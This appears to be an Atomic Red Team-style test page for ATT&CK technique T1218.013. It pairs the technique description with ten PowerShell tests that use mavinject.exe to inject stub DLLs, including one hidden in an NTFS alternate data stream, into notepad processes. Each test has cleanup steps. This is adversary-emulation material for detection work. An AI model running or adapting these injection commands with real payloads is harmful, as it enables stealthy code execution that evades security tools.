T1218.013
System Binary Proxy Execution: Mavinject
Description from ATT&CK
Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex.
C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.In addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its
/HMODULEcommand-line parameter (ex.mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)
Atomic Tests
- Atomic Test #1: T1218.013 - Inject DLL into Target Process via Mavinject /INJECTRUNNING
- Atomic Test #2: T1218.013 - Mavinject Process Injection with Module Index Offset Parsing
- Atomic Test #3: T1218.013 - Proxy Execution via Mavinject /STARTAPP Virtual Package Trigger
- Atomic Test #4: T1218.013 - Mavinject Injection Using Alternate Environment Executable Path
- Atomic Test #5: T1218.013 - Mavinject Process Injection from Staged Temporary Subdirectory
- Atomic Test #6: T1218.013 - Mavinject Command Interpreter Subshell Invocation
- Atomic Test #7: T1218.013 - Sequential Dual-Process Mavinject Injection Trigger
- Atomic Test #8: T1218.013 - Mavinject Execution with App-V Environment Policy Switch
- Atomic Test #9: T1218.013 - Mavinject Process Injection targeting App Container Host
- Atomic Test #10: T1218.013 - Mavinject Injection with NTFS Alternate Data Stream (ADS) Carrier
Atomic Test #1: T1218.013 - Inject DLL into Target Process via Mavinject /INJECTRUNNING
Simulates an adversary utilizing mavinject.exe to inject a dynamic-link library into a running process using the /INJECTRUNNING parameter.
Supported Platforms: Windows
auto_generated_guid: beb540df-3de7-41c8-b863-6c26c1f87dff
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$dll = "$env:TEMP\mavinject_stub.dll"; $proc = Start-Process notepad.exe -PassThru; if (-not (Test-Path $dll)) { [System.IO.File]::WriteAllBytes($dll, [byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0)) }; mavinject.exe $proc.Id /INJECTRUNNING $dll; Write-Host "[+] Mavinject DLL injection executed."Cleanup Commands
$dll = "$env:TEMP\mavinject_stub.dll"; if (Test-Path $dll) { Remove-Item $dll -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up mavinject process artifacts."Atomic Test #2: T1218.013 - Mavinject Process Injection with Module Index Offset Parsing
Simulates an adversary utilizing mavinject.exe to perform module allocation and injection passing module index offsets.
Supported Platforms: Windows
auto_generated_guid: 36524689-9bb3-4333-8851-72907ff75522
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$dll = "$env:TEMP\offset_stub.dll"; $proc = Start-Process notepad.exe -PassThru; if (-not (Test-Path $dll)) { [System.IO.File]::WriteAllBytes($dll, [byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0)) }; mavinject.exe $proc.Id /INJECTRUNNING $dll 0x1000; Write-Host "[+] Mavinject offset injection executed."Cleanup Commands
$dll = "$env:TEMP\offset_stub.dll"; if (Test-Path $dll) { Remove-Item $dll -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up offset injection artifacts."Atomic Test #3: T1218.013 - Proxy Execution via Mavinject /STARTAPP Virtual Package Trigger
Simulates an adversary leveraging mavinject.exe /STARTAPP to launch an arbitrary executable under an App-V subsystem context.
Supported Platforms: Windows
auto_generated_guid: 768f26a1-0aef-4544-9aef-fcbf05980294
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$proc = Start-Process notepad.exe -PassThru; mavinject.exe $proc.Id /STARTAPP "$env:SystemRoot\System32\cmd.exe"; Write-Host "[+] Mavinject App-V STARTAPP execution simulated."Cleanup Commands
Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up STARTAPP target processes."Atomic Test #4: T1218.013 - Mavinject Injection Using Alternate Environment Executable Path
Simulates invoking mavinject.exe via explicit system environment variable string concatenation to execute process injection.
Supported Platforms: Windows
auto_generated_guid: 4640d18e-f45e-49bc-b0f6-0efd958ae1db
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$mavPath = Join-Path $env:SystemRoot "System32\mavinject.exe"; $dll = "$env:TEMP\env_stub.dll"; $proc = Start-Process notepad.exe -PassThru; if (-not (Test-Path $dll)) { [System.IO.File]::WriteAllBytes($dll, [byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0)) }; & $mavPath $proc.Id /INJECTRUNNING $dll; Write-Host "[+] Executed Mavinject from explicit path variable."Cleanup Commands
$dll = "$env:TEMP\env_stub.dll"; if (Test-Path $dll) { Remove-Item $dll -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up path variable test artifacts."Atomic Test #5: T1218.013 - Mavinject Process Injection from Staged Temporary Subdirectory
Simulates staging a DLL inside a deeply nested temp directory before passing it to mavinject.exe for process injection.
Supported Platforms: Windows
auto_generated_guid: bc0c990b-2f7f-4e7a-ab6a-82f27cd78a10
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$stageDir = "$env:TEMP\MavStage"; if (-not (Test-Path $stageDir)) { New-Item -Path $stageDir -ItemType Directory -Force | Out-Null }; $dll = "$stageDir\staged_payload.dll"; [System.IO.File]::WriteAllBytes($dll, [byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0)); $proc = Start-Process notepad.exe -PassThru; mavinject.exe $proc.Id /INJECTRUNNING $dll; Write-Host "[+] Staged directory Mavinject payload injected."Cleanup Commands
$stageDir = "$env:TEMP\MavStage"; if (Test-Path $stageDir) { Remove-Item $stageDir -Recurse -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up staging directory."Atomic Test #6: T1218.013 - Mavinject Command Interpreter Subshell Invocation
Simulates calling mavinject.exe through a cmd.exe subshell wrapper to evaluate command interpreter execution chains.
Supported Platforms: Windows
auto_generated_guid: 321694f9-3fe8-4d3f-9d8b-471a90e2282f
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$dll = "$env:TEMP\cmd_stub.dll"; if (-not (Test-Path $dll)) { [System.IO.File]::WriteAllBytes($dll, [byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0)) }; $proc = Start-Process notepad.exe -PassThru; cmd.exe /c "mavinject.exe $($proc.Id) /INJECTRUNNING $dll"; Write-Host "[+] Cmd-wrapped Mavinject process injection executed."Cleanup Commands
$dll = "$env:TEMP\cmd_stub.dll"; if (Test-Path $dll) { Remove-Item $dll -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up cmd subshell artifacts."Atomic Test #7: T1218.013 - Sequential Dual-Process Mavinject Injection Trigger
Simulates an adversary executing back-to-back mavinject.exe injections into two separate target processes.
Supported Platforms: Windows
auto_generated_guid: 661feb02-ac4e-4a69-9de3-90e10b61e4a2
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$dll = "$env:TEMP\dual_stub.dll"; if (-not (Test-Path $dll)) { [System.IO.File]::WriteAllBytes($dll, [byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0)) }; $p1 = Start-Process notepad.exe -PassThru; $p2 = Start-Process notepad.exe -PassThru; mavinject.exe $p1.Id /INJECTRUNNING $dll; mavinject.exe $p2.Id /INJECTRUNNING $dll; Write-Host "[+] Sequential dual-process injection completed."Cleanup Commands
$dll = "$env:TEMP\dual_stub.dll"; if (Test-Path $dll) { Remove-Item $dll -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up dual process injection targets."Atomic Test #8: T1218.013 - Mavinject Execution with App-V Environment Policy Switch
Simulates an operator abusing mavinject.exe policy configuration switches to override App-V isolation boundaries.
Supported Platforms: Windows
auto_generated_guid: adf0d823-d65b-4920-aba0-558ca5038c7d
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$proc = Start-Process notepad.exe -PassThru; mavinject.exe $proc.Id /SET_POLICY 0; Write-Host "[+] Mavinject set policy switch simulated."Cleanup Commands
Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up policy switch target process."Atomic Test #9: T1218.013 - Mavinject Process Injection targeting App Container Host
Simulates injecting a custom payload module into a running target process via mavinject.exe.
Supported Platforms: Windows
auto_generated_guid: 7dfb443f-f199-4d6d-81ab-0909c31e7773
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$dll = "$env:TEMP\host_stub.dll"; if (-not (Test-Path $dll)) { [System.IO.File]::WriteAllBytes($dll, [byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0)) }; $proc = Start-Process notepad.exe -PassThru; mavinject.exe $proc.Id /INJECTRUNNING $dll; Write-Host "[+] Mavinject injection into host process completed."Cleanup Commands
$dll = "$env:TEMP\host_stub.dll"; if (Test-Path $dll) { Remove-Item $dll -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up target process artifacts."Atomic Test #10: T1218.013 - Mavinject Injection with NTFS Alternate Data Stream (ADS) Carrier
Simulates an adversary passing a payload stored inside an NTFS Alternate Data Stream to mavinject.exe for process injection.
Supported Platforms: Windows
auto_generated_guid: 0d9bf912-4e16-42e8-a13e-8652fd16538a
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$carrier = "$env:TEMP\legit_host.txt"; if (Test-Path $carrier) { Remove-Item $carrier -Force -ErrorAction SilentlyContinue }; Set-Content -Path $carrier -Value "Standard text container"; $ads = $carrier + ":mavinject_payload.dll"; Set-Content -Path $ads -Value "MZ_SIMULATED_DLL_HEADER_STREAM"; $proc = Start-Process notepad.exe -PassThru; mavinject.exe $proc.Id /INJECTRUNNING $ads; Write-Host "[+] ADS payload passed to Mavinject executed."Cleanup Commands
$carrier = "$env:TEMP\legit_host.txt"; if (Test-Path $carrier) { Remove-Item $carrier -Force -ErrorAction SilentlyContinue }; Stop-Process -Name notepad -Force -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up ADS Mavinject artifacts."Atomic test(s) for this technique last updated: 2026-10-27 22:28:41 UTC